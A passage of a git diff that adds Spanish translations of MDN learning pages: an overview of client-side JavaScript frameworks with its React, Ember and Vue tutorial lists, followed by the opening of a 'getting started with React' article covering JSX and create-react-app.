+<p>Nota: Debido a que aparecen nuevas herramientas y las antiguas pasan de moda todo el tiempo, hemos redactado deliberadamente este material para que sea lo más neutral posible. Queremos enfocarnos ante todo en los tipos generales de tareas que estas herramientas lo ayudarán a lograr. y seguir prescribiendo herramientas específicas al mínimo. Obviamente, necesitamos mostrar el uso de las herramientas para demostrar técnicas específicas, pero ten en cuenta que no necesariamente recomendamos estas herramientas como la mejor o la única forma de hacer las cosas; en la mayoría de los casos, existen otras formas, pero queremos brindarte una idea clara. Metodología que funciona.</p>
+</div>
+
+<h2 id="Camino_de_aprendizaje">Camino de aprendizaje</h2>
+
+<p> </p>
+
+<p>Debería aprender los conceptos básicos de los lenguajes <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>, y <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a> antes de intentar usar las herramientas que se detallan aquí. Por ejemplo, deberá conocer los fundamentos de estos idiomas antes de comenzar a depurar problemas en códigos web complejos, o hacer un uso efectivo de las bibliotecas de JavaScript, o escribir pruebas y ejecutarlas en su código utilizando corredores de prueba, etc.</p>
+
+<p>Primero necesitas una base sólida.</p>
+
+<p> </p>
+
+<h2 id="Módulos">Módulos</h2>
+
+<dl>
+ <dt><span class="tlid-translation translation"><span title="">Herramientas de desarrollo web en el mundo real (TBD)</span></span></dt>
+ <dd>En este módulo, exploramos los diferentes tipos de herramientas de desarrollo web disponibles. Esto incluye la revisión de los tipos de tareas más comunes a las que se le puede pedir que resuelva, cómo pueden encajar en un flujo de trabajo y las mejores herramientas disponibles actualmente para llevar a cabo esas tareas.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Pruebas de navegadores cruzados</a></dt>
+ <dd>Este módulo analiza específicamente el área de prueba de proyectos web en diferentes navegadores. Aquí vemos cómo identificar a su público objetivo (por ejemplo, qué usuarios, navegadores y dispositivos necesita preocuparse más), cómo realizar las pruebas, los principales problemas que enfrentará con los diferentes tipos de código y cómo solucionar o mitigue esos problemas, qué herramientas son más útiles para ayudarlo a probar y solucionar problemas, y cómo utilizar la automatización para acelerar las pruebas.</dd>
+</dl>
diff --git a/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/index.html b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/index.html
new file mode 100644
index 0000000000..e9bdd36eca
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/index.html
@@ -0,0 +1,133 @@
+---
+title: Entendiendo los frameworks de JavaScript del lado del cliente
+slug: Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks
+tags:
+  - Aprender
+  - Principiante
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Los frameworks de JavaScript son una parte esencial del desarrollo web front-end moderno, los cuales proveen a los desarrolladores herramientas probadas y testeadas para la creación de aplicaciones web interactivas y escalables. Muchas empresas modernas utilizan frameworks como parte estándar de sus herramientas, por lo que muchos trabajos de desarrollo front-end en la actualidad requieren experiencia en frameworks.</p>
+
+<p class="summary">Como aspirante a desarrollador front-end, puede resultar difícil saber por dónde empezar cuando se trata de aprender sobre frameworks; hay muchos frameworks diferentes para elegir, nuevas opciones surgen todo el tiempo. En su mayoría funcionan de forma similar, pero hacen algunas cosas de manera diferente, y hay algunas cosas específicas con las que se debe tener cuidado a la hora de usar frameworks.</p>
+
+<p class="summary">En esta serie de artículos, tenemos como objetivo brindarte un punto de partida cómodo que te sirva de ayuda para comenzar a aprender sobre frameworks. Nuestra intención no es enseñarte, de manera exhaustiva, todo lo que se necesita saber sobre React/ReactDOM, o Vue, o algún otro framework en específico; la documetación de los equipos de los frameworks (entre otros recursos) ya cumplen esta función. En su lugar, queremos brindarte respaldo y responder primero a preguntas más fundamentales como:</p>
+
+<ul>
+ <li class="summary">¿Por qué debería hacer uso de un framework? ¿Qué problemas me resuelven estos?</li>
+ <li class="summary">¿Qué preguntar a la hora de escoger un framework? ¿En verdad necesito usar un framework?</li>
+ <li class="summary">¿Qué características tienen los frameworks? ¿Cómo funcionan en general y cómo se diferencian las maneras en que los frameworks implementan estas características?</li>
+ <li class="summary">¿Cómo se relacionan con JavaScript "puro" o HTML?</li>
+</ul>
+
+<p class="summary">Después de esto, proveeremos algunos tutoriales que cubren los aspectos básicos de algunos de los diferentes frameworks que existen, de manera que puedas tener el contexto y la familiaridad suficientes para poder empezar a profundizar por tu propia cuenta. Queremos que avances y aprendas sobre los frameworks de manera pragmática, de forma tal que se tengan presente las buenas prácticas esenciales de la plataforma web, como lo es la accesibilidad.</p>
+
+<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Empieza ahora con "Introducción a los frameworks del lado del cliente"</a></strong></p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de intentar aprender sobre los frameworks del lado del cliente, es recomendable que conozcamos los conceptos básicos de los principales lenguajes de la web: <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, y —especialmente— <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>.</p>
+
+<p>Como resultado, tu código será más consistente y profesional, por lo que podrás solucionar problemas con mayor confianza si comprende las características fundamentales de la plataforma web sobre las que se basan los frameworks.</p>
+
+<h2 id="Guías_introductorias">Guías introductorias</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. Introducción a los frameworks del lado del cliente</a></dt>
+ <dd>Comenzamos nuestro estudio sobre los frameworks con una descripción general del área, repasando un poco de historia sobre JavaScript y los frameworks, por qué estos existen, y qué nos brindan; por donde empezar al momento de escoger un framework por aprender y qué alternativas existen a los frameworks del lado del cliente.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. Características principales de los frameworks</a></dt>
+ <dd>Cada framework destacado de JavaScript tiene un enfoque diferente para actualizar el DOM, manejar los eventos del navegador, y brindarte una experiencia de desarrollo satisfactoria. En este artículo, exploraremos las características principales de "los cuatro grandes" frameworks, observando cómo estos tienden a operar desde un nivel alto, al igual que las diferencias entre ellos.</dd>
+</dl>
+
+<h2 id="Tutoriales_de_React">Tutoriales de React</h2>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los tutoriales de React se probaron por última vez en mayo de 2020, con React/ReactDOM 16.13.1 y create-react-app 3.4.1.</p>
+
+<p>Si necesitas comparar tu código con nuestra versión, puedes encontrar una versión terminada de la muestra del código de la aplicación React en nuestro <a href="https://github.com/mdn/todo-react">repositorio todo-react</a>. Para una versión en vivo, consulta <a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p>
+</div>
+
+<dl>
+ <dt><a href="/es/docs/Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/React_getting_started">1. Primeros pasos en React</a></dt>
+ <dd>En este artículo conoceremos React. Descubriremos algunos detalles sobre su trasfondo y casos de uso, configuraremos una cadena básica de herramientas para React en nuestra computadora local, crearemos y jugaremos con una aplicación inicial sencilla, mientras aprendemos —durante el proceso— un poco acerca de cómo funciona React.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. Comenzando con nuestra lista de tareas de React</a></dt>
+ <dd>Digamos que se nos ha encomendado la tarea de crear una prueba de concepto (Proof of Concept — PoC) en React: una aplicación que permita a los usuarios agregar, editar y eliminar tareas en las que se quiera trabajar, pero que también permita marcar las tareas como completadas sin eliminarlas. Este artículo te guiará en la organización de la estructura y los estilos básicos del componente <code>App</code>, de manera que esté listo para la definición e interactividad de componentes individuales, los cuales agregaremos más adelante.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. Basando nuestra aplicación React en componentes</a></dt>
+ <dd>Hasta este momento, nuestra aplicación no hace gran cosa. Antes de que podamos hacerla funcionar, tenemos que dividirla en componentes descriptivos y manejables. React no tiene reglas estrictas para lo que, se considera o no, un componente, ¡eso depende de ti! En este artículo, te mostraremos una forma raznoable de dividir nuestra aplicación en componentes.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. Interactividad en React: eventos y estado</a></dt>
+ <dd>Habiendo elaborado nuestro plan de componentes, es hora de comenzar a actualizar nuestra aplicación, para que pase de ser una interfaz de usuario completamente estática a una que nos permita, realmente, interactuar y cambiar las cosas. Es eso mismo lo que haremos en este artículo, profundizando en los eventos y el estado a medida que avancemos.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. Interactividad en React: edición, filtrado, renderizado condicional</a></dt>
+ <dd>A medida que nos acercamos al final de nuestro viaje en React (al menos por ahora), agregaremos los toques finales a las áreas principales de funcionalidad en nuestra aplicación de lista de tareas. Esto incluye permitir la edición de tareas existentes y el filtrado de la lista de tareas entre todas las tareas, las completadas, y las incompletas. A lo largo del capítulo, veremos la renderización condicional de la interfaz de usuario.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. Accesibilidad en React</a></dt>
+ <dd>En el artículo final de nuestro tutorial, nos enfocaremos en la accesibilidad (broma intencional), incluyendo la gestión del enfoque en React, la cual puede mejorar la usabilidad y reducir la confusión para usuarios que navegan tanto, a través de lectores de pantalla, como solo del teclado.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. Recursos sobre React</a></dt>
+ <dd>En nuestro artículo final, te brindamos una lista de recursos sobre React, los cuales podrás utilizar para avanzar más en tu aprendizaje.</dd>
+</dl>
+
+<h2 id="Tutoriales_de_Ember">Tutoriales de Ember</h2>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los tutoriales de Ember se probaron por última vez en mayo de 2020, con Ember/Ember CLI versión 3.18.0.</p>
+
+<p>Si necesitas comparar tu código con nuestra versión, puedes encontrar una versión terminada de la muestra del código de la aplicación Ember en nuestro <a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">repositorio ember-todomvc-tutorial</a>. Para una versión en vivo, consulta <a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> (esto también incluye algunas características adicionales que no se cubren en este tutorial).</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. Primeros pasos en Ember</a></dt>
+ <dd>En nuestro primer artículo de Ember veremos cómo funciona Ember y para qué resulta útil, instalaremos la cadena de herramientas de Ember de manera local, crearemos una aplicación de muestra, y luego realizaremos una configuración inicial para prepararla para el desarrollo.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Estructura de una aplicación Ember y cómo se basa en componentes</a></dt>
+ <dd>En este artículo, continuaremos planificando la estructura de nuestra aplicación Ember TodoMVC, agregando el HTML necesario y luego dividiendo esa estructura HTML en componentes.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Interactividad de Ember: eventos, clases, y estado</a></dt>
+ <dd>En este punto, comenzaremos a agregar un poco de interactividad a nuestra aplicación, dándole la capacidad de agregar y mostrar nuevos elementos de tareas por hacer. A medida que avanzamos, veremos el uso de eventos en Ember, la creación de clases de componentes para contener código JavaScript que controle las funciones interactivas, y la configuración de un servicio para hacer seguimiento del estado de los datos de nuestra aplicación.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Interactividad de Ember: funcionalidad del footer, renderizado condicional</a></dt>
+ <dd>Ahora es momento de comenzar a abordar la funcionalidad del footer en nuestra aplicación. Aquí haremos que el contador de tareas pendientes se actualice de manera que muestre el número correcto de tareas pendientes por completar, y aplicaremos correctamente los estilos a las tareas completadas (es decir, aquellos donde la casilla de verificación ha sido marcada). También conectaremos nuestro botón "Borrar completados". A lo largo del capítulo, aprenderemos sobre el uso de la renderización condicional en nuestras plantillas.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Enrutamiento en Ember</a></dt>
+ <dd>En este artículo aprendemos sobre enrutamiento o el filtrado basado en URL, como a veces se lo denomina. Lo usaremos para proporcionar una URL única para cada una de las tres vistas de tareas: "Todas", "Activas" y "Completadas".</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Recursos sobre y solución de problemas</a></dt>
+ <dd>En nuestro artículo final sobre Ember, te proporcionamos una lista de recursos que puedes utilizar para avanzar más en tu aprendizaje, además de información útil para la solución problemas y otra información.</dd>
+</dl>
+
+<h2 id="Tutoriales_de_Vue">Tutoriales de Vue</h2>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los tutoriales de Vue se probaron por última vez en mayo de 2020, con Vue 2.6.11.</p>
+
+<p>Si necesitas comparar tu código con nuestra versión, puedes encontrar una versión terminada de la muestra del código de la aplicación Vue en nuestro <a href="https://github.com/mdn/todo-vue">repositorio todo-vue</a>. Para una verisón en vivo, consulta <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>.</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. Primeros pasos en Vue</a></dt>
+ <dd>A continuación, presentamos Vue, el tercero de nuestros frameworks. En este artículo, veremos un poco sobre el origen de Vue, aprenderemos cómo instalarlo y crear un nuevo proyecto, estudiaremos la estructura de alto nivel de todo el proyecto y de un componente individual, veremos cómo ejecutar el proyecto localmente y prepararlo para comenzar a construir nuestro ejemplo.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. Creando nuestro primer componente de Vue</a></dt>
+ <dd>Ahora es momento de profundizar en Vue y crear nuestro propio componente personalizado: comenzaremos creando un componente para representar cada elemento en la lista de tareas. Durante el artículo, aprenderemos sobre algunos conceptos importantes, como llamar a componentes dentro de otros componentes, pasarles datos a través de props y guardar el estado de los datos.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. Renderizando una lista de componentes de Vue</a></dt>
+ <dd><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">En este punto, tenemos un componente completamente funcional; ahora estamos listos para agregar varios componentes <code>ToDoItem</code> a nuestra aplicación. En este artículo, veremos cómo agregar un conjunto de datos de elementos de tareas a nuestro componente <code>App.vue</code>, el cual luego repasaremos en bucle, mostrando dentro de los componentes de <code>ToDoItem</code> mediante el uso de la directiva <code>v-for</code>. </span></dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. Agregar una nueva forma de tareas pendientes: eventos, métodos y modelos de Vue</a></dt>
+ <dd>Ahora tenemos datos de muestra listos y un ciclo que toma cada bit de datos y lo renderiza dentro de un <code>ToDoItem</code> en nuestra aplicación. Lo que realmente necesitamos a continuación es la capacidad de permitirle a nuestros usuarios que introuduzcan sus propios elementos de tareas pendientes en la aplicación, y para ello, necesitaremos un <code>&lt;input&gt;</code> de texto, un evento para efectuar una vez se envíen los datos, un método por accionar al momento del envío para agregar los datos y volver a renderizar la lista, y un modelo para controlar los datos. Esto es lo que cubriremos en este artículo.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. Agregando estilos a los componentes de Vue con CSS</a></dt>
+ <dd>Por fin ha llegado el momento de hacer que nuestra aplicación luzca un poco mejor. En este artículo, exploraremos las diferentes formas de agregar estilos a los componentes de Vue con CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. Usando propiedades calculadas de Vue</a></dt>
+ <dd>En este artículo, agregaremos un contador que muestre el número de tareas completadas, utilizando una función de Vue llamada propiedades calculadas. Estos funcionan de manera similar a los métodos, pero solo se vuelven a ejecutar cuando cambia una de sus dependencias.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Renderización condicional en Vue: editando tareas existentes</a></dt>
+ <dd>Ahora es momento de agregar una de las principales piezas de la funcionalidad que aún nos falta: la capacidad de editar tareas existentes. Para hacer esto, aprovecharemos las capacidades de renderizado condicional de Vue, es decir, <code>v-if</code> y <code>v-else</code>, los cuales nos permiten alternar entre la vista de una tarea existente y una vista de edición donde podremos actualizar las etiquetas de las tareas. También veremos cómo agregar funcionalidad para eliminar tareas.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. Gestión de enfoque con Vue refs</a></dt>
+ <dd>Ya estamos cerca de terminar con Vue. La última funcionalidad a considerar es la gestión del enfoque, o dicho de otra manera, cómo podemos mejorar la accesibilidad de nuestra aplicación desde el teclado. Veremos el uso de Vue refs para manejar esto, una característica avanzada que nos permite tener acceso directo a los nodos DOM subyacentes debajo del DOM virtual, o acceso directo desde un componente a la estructura DOM interna de un componente interno.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Recursos sobre Vue</a></dt>
+ <dd>Ahora, completaremos nuestro estudio de Vue brindándote una lista de recursos que podrás utilizar para avanzar en tu aprendizaje, además de algunos otros consejos útiles.</dd>
+</dl>
+
+<h2 id="¿Cuales_frameworks_hemos_escogido">¿Cuales frameworks hemos escogido?</h2>
+
+<p>Hacemos pública nuestra serie inicial de artículos con guías enfocadas en tres de los principales frameworks que existen: React/ReactDOM, Ember, y Vue. Esto se debe a varias un razones:</p>
+
+<ul>
+ <li>Son opciones populares que estarán disponibles por un largo tiempo. Al igual que con cualquier otra herramienta de software, es bueno apegarse a opciones que son desarrolladas de manera activa, lo que indica que, probablemente, no serán descontinuadas dentro de poco, lo que las convierte en complementos atractivos para mostrar como habilidades a la hora de buscar un trabajo.</li>
+ <li>Tienen comunidades sólidas y una buena documentación. Es muy importante poder obtener ayuda al aprender un tema complejo, especialmente cuando recién se está comenzando.</li>
+ <li>No contamos con los recursos para cubrir todos los frameworks modernos. Una lista así resultaría muy difícil de mantener actualizada, ya que todo el tiempo están surgiendo nuevos frameworks.</li>
+ <li>Como principiante, tratar de escoger en qué concentrarte entre la gran cantidad de opciones disponibles es un gran problema. Por lo tanto, resulta útil mantener una lista corta.</li>
+</ul>
+
+<p>Queremos decir esto desde un principio: <strong>no</strong> hemos escogido los frameworks en los que nos estamos enfocando porque pensamos que son los mejores o porque los respaldamos de alguna manera. Simplemente, consideramos que obtienen una puntuación alta de acuerdo a los criterios anteriores.</p>
+
+<p>Ten en cuenta que esperábamos poder incluir más frameworks en la publicación inicial, pero que decidimos publicar el contenido y agregar, más adelante, otras guías, en lugar de retrasarlo más. Si tu framework favorito no se encuentra listado en este contenido y te gustaría ayudar a cambiar esto, ¡no dudes en discutirlo con nosotros! Puedes contactarnos a través de <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, o <a href="https://discourse.mozilla.org/c/mdn">Discourse</a>, o enviarnos un correo electrónico a la <a href="mailto:mdn-admins@mozilla.org">lista mdn-admins</a>.</p>
diff --git a/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/react_getting_started/index.html b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/react_getting_started/index.html
new file mode 100644
index 0000000000..09c28f11a9
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/lado-del-cliente_javascript_frameworks/react_getting_started/index.html
@@ -0,0 +1,476 @@
+---
+title: Primeros pasos en React
+slug: >-
+  Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/React_getting_started
+tags:
+  - Aprender
+  - Aprendiz
+  - Principiante
+translation_of: >-
+  Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div>
+
+<p class="summary">En este artículo conoceremos React. Descubriremos algunos detalles sobre su trasfondo y casos de uso, configuraremos una cadena básica de herramientas para React en nuestra computadora local, crearemos y jugaremos con una aplicación inicial sencilla, mientras aprendemos —durante el proceso— un poco acerca de cómo funciona React.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>
+    <p>Familiaridad con los lenguajes <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, y <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, conocimiento del <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/línea de comandos</a>.</p>
+
+    <p>React usa una sintaxis HTML-en-JavaScript llamada JSX (JavaScript y XML). Estar familiarizado con HTML y JavaScript te ayudará a aprender JSX, y a identificar —en una mejor manera— si los errores en tu aplicación están relacionados con JavaScript o con el más específico dominio de React.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Configurar un entorno de desarrollo local para React, crear una aplicación inicial, y entender los aspectos básicos de su funcionamiento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Hola_React">Hola, React</h2>
+
+<p>Como su eslogan oficial señala, <a href="https://es.reactjs.org/">React</a> es una biblioteca para construir interfaces de usuario. React no es un <em>framework</em> — ni siquiera se limita a la web. React es utilizado con otras bibliotecas para renderizar en ciertos entornos. Por ejemplo, <a href="https://reactnative.dev/">React Native</a> puede usarse para desarrollar aplicaciones móviles; <a href="https://facebook.github.io/react-360/">React 360</a> permite crear aplicaciones de realidad virtual; además de otras posibilidades.</p>
+
+<p>Al desarrollar para la web, los desarrolladores usan React en conjunto con <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a>. React y ReactDOM son, a menudo, considerados al igual que —y utilizados para resolver los mismo problemas que— otros verdaderos frameworks de desarrollo web. Cuando nos referimos a React como un "framework", estamos trabajando con este significado coloquial.</p>
+
+<p>El objetivo principal de React es minimizar los errores que ocurren cuando los desarrolladores construyen interfaces de usuario. Esto lo hace mediante el uso de componentes — piezas de código lógicas y auto-contenidas que describen una parte de la interfaz del usuario. Estos componentes se pueden juntar para crear una interfaz de usuario completa, y React abstrae la mayor parte del trabajo de renderizado, permitiéndote enfocarte en el diseño de la interfaz.</p>
+
+<h2 id="Casos_de_uso">Casos de uso</h2>
+
+<p>A diferencia de los otros frameworks vistos en este módulo, React no impone reglas estrictas sobre convenciones de código u organización de archivos. Esto le permite a los equipos establecer las convenciones que funcionen mejor para ellos y adoptar React de la manera en que deseen. React puede manejar un solo botón, algunas piezas de una interfaz o la interfaz de usuario completa de una aplicación.</p>
+
+<p>Si bien React <em>puede</em> usarse para <a href="https://es.reactjs.org/docs/add-react-to-a-website.html">pequeñas piezas de una interfaz</a>, no resulta tan sencillo "introducirlo" en una aplicación como sería el caso de una biblioteca como jQuery —o incluso de un framework, como Vue—, por lo que viene a ser más abordable cuando construimos una aplicación completamente con React.</p>
+
+<p>Además, muchos de los beneficios de la experiencia del desarrollador de una aplicación React, como codificar interfaces con JSX, requieren un proceso de compilación. Agregar un compilador como Babel a un sitio web hace que el código se ejecute de manera lenta, por lo que los desarrolladores a menudo configuran dichas herramientas con un paso de compilación. Podrá decirse que React tiene un gran requisito de herramientas, pero se puede aprender.</p>
+
+<p>Este artículo se enfocará en el caso de uso de usar React para renderizar la interfaz de usuario completa de una aplicación, usando herramientas proporcionadas por la propia herramienta de Facebook <a href="https://create-react-app.dev/">create-react-app</a>.</p>
+
+<h2 id="¿Cómo_React_usa_JavaScript">¿Cómo React usa JavaScript?</h2>
+
+<p>React utiliza características modernas de JavaScript para muchos de sus patrones. El punto donde más se aleja de JavaScript se refleja en el uso de la sintaxis <a href="https://es.reactjs.org/docs/introducing-jsx.html">JSX</a>, la que, a su vez, amplía la sintaxis de JavaScript para que código similar a HTML pueda formar parte del mismo. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">const heading = &lt;h1&gt;Mozilla Developer Network&lt;/h1&gt;;</pre>
+
+<p>Esta constante "heading" se conoce como una <strong>expresión JSX</strong>. React puede usarla para representar la etiqueta <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements">&lt;h1&gt;</a></code> en nuestra aplicación.</p>
+
+<p>Supongamos que, por razones semánticas, queremos envolver nuestro encabezado en una etiqueta <code><a href="/en-US/docs/Web/HTML/Element/header">&lt;header&gt;</a></code>. El enfoque JSX nos permite anidar nuestros elementos entre sí, tal como lo hacemos con HTML:</p>
+
+<pre class="brush: js notranslate">const header = (
+  &lt;header&gt;
+    &lt;h1&gt;Mozilla Developer Network&lt;/h1&gt;
+  &lt;/header&gt;
+);</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los paréntesis en el fragmento anterior no son exclusivos de JSX y no tienen ningún efecto en la aplicación. Son una señal para ti (y tu computadora) de que las múltiples líneas de código que contiene forman parte de una misma expresión. También podríamos escribir la expresión del encabezado de esta manera:</p>
+
+<pre class="brush: js notranslate">const header = &lt;header&gt;
+    &lt;h1&gt;Mozilla Developer Network&lt;/h1&gt;
+&lt;/header&gt;</pre>
+
+<p>Sin embargo, esto luce un poco raro, ya que la etiqueta <code><a href="/en-US/docs/Web/HTML/Element/header">&lt;header&gt;</a></code> que inicia la expresión no tiene sangría en la misma posición que su correspondiente etiqueta de cierre.</p>
+</div>
+
+<p>Por supuesto, tu navegador no puede leer JSX sin ayuda. Al compilarla (usando una herramienta como <a href="https://babeljs.io/">Babel</a> o <a href="https://parceljs.org/">Parcel</a>), nuestra expresión de encabezado se vería así:</p>
+
+<pre class="brush: js notranslate">const header = React.createElement("header", null,
+  React.createElement("h1", null, "Mozilla Developer Network")
+);</pre>
+
+<p>Es <em>posible</em> omitir el paso de la compilación y usar <code><a href="https://reactjs.org/docs/react-api.html#createelement">React.createElement()</a></code> para codificar la interfaz de usuario tú mismo. Sin embargo, al hacer esto, perderías el beneficio declarativo de JSX y tu código resultaría más difícil de leer. La compilación es un paso adicional en el proceso de desarrollo, pero muchos desarrolladores de la comunidad React piensan que la legibilidad de JSX vale la pena. Además, las herramientas populares hacen que la compilación de JSX a JavaScript sea parte de su proceso de configuración. No tendrás que configurar la compilación tú mismo, a menos que así lo quieras.</p>
+
+<p>Dado que JSX es una combinación de HTML y JavaScript, algunos desarrolladores lo encuentran intuitivo. Otros dicen que su naturaleza combinada lo hace confuso. Sin embargo, una vez que te sientas cómodo con JSX, te permitirá crear interfaces de usuario de forma más rápida e intuitiva, y permitirá que otros comprendan mejor tu base de código de un vistazo.</p>
+
+<p>Para leer más sobre JSX, consulta el artículo <a href="https://es.reactjs.org/docs/jsx-in-depth.html">JSX en profundidad</a> del equipo de React.</p>
+
+<h2 id="Configurando_tu_primera_aplicación_React">Configurando tu primera aplicación React</h2>
+
+<p>Hay muchas maneras de usar React, pero usaremos la herramienta create-react-app de la interfaz de línea de comandos (CLI, por sus siglas en inglés), como se mencionó anteriormente, la cual acelera el proceso de desarrollo de una aplicación React al instalar algunos paquetes y crear algunos archivos por ti, manejando las herramientas descritas anteriormente.</p>
+
+<p>Es posible <a href="https://es.reactjs.org/docs/add-react-to-a-website.html">agregar React a un sitio website sin usar create-react-app</a> copiando algunos elementos <code><a href="/en-US/docs/Web/HTML/Element/script">&lt;script&gt;</a></code> en un archivo HTML, pero la CLI de create-react-app es un punto de partida común para las aplicaciones React. Su uso te permitirá dedicar más tiempo a crear tu aplicación y menos a preocuparte por la configuración.</p>
+
+<h3 id="Requerimientos">Requerimientos</h3>
+
+<p>Para usar create-react-app, necesitas tener instalado <a href="https://nodejs.org/en/">Node.js</a>. Se recomienda utilizar la versión de soporte a largo plazo (LTS, por sus siglas en inglés). Node incluye npm (el administrador de paquetes de nodos), y npx (el ejecutor de paquetes de nodos).</p>
+
+<p>También puedes usar el administrador de paquetes Yarn como alternativa, pero asumiremos que estarás usando npm en estos tutoriales. Consulta <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Conceptos básicos de administración de paquetes</a> para obtener más información sobre npm y yarn.</p>
+
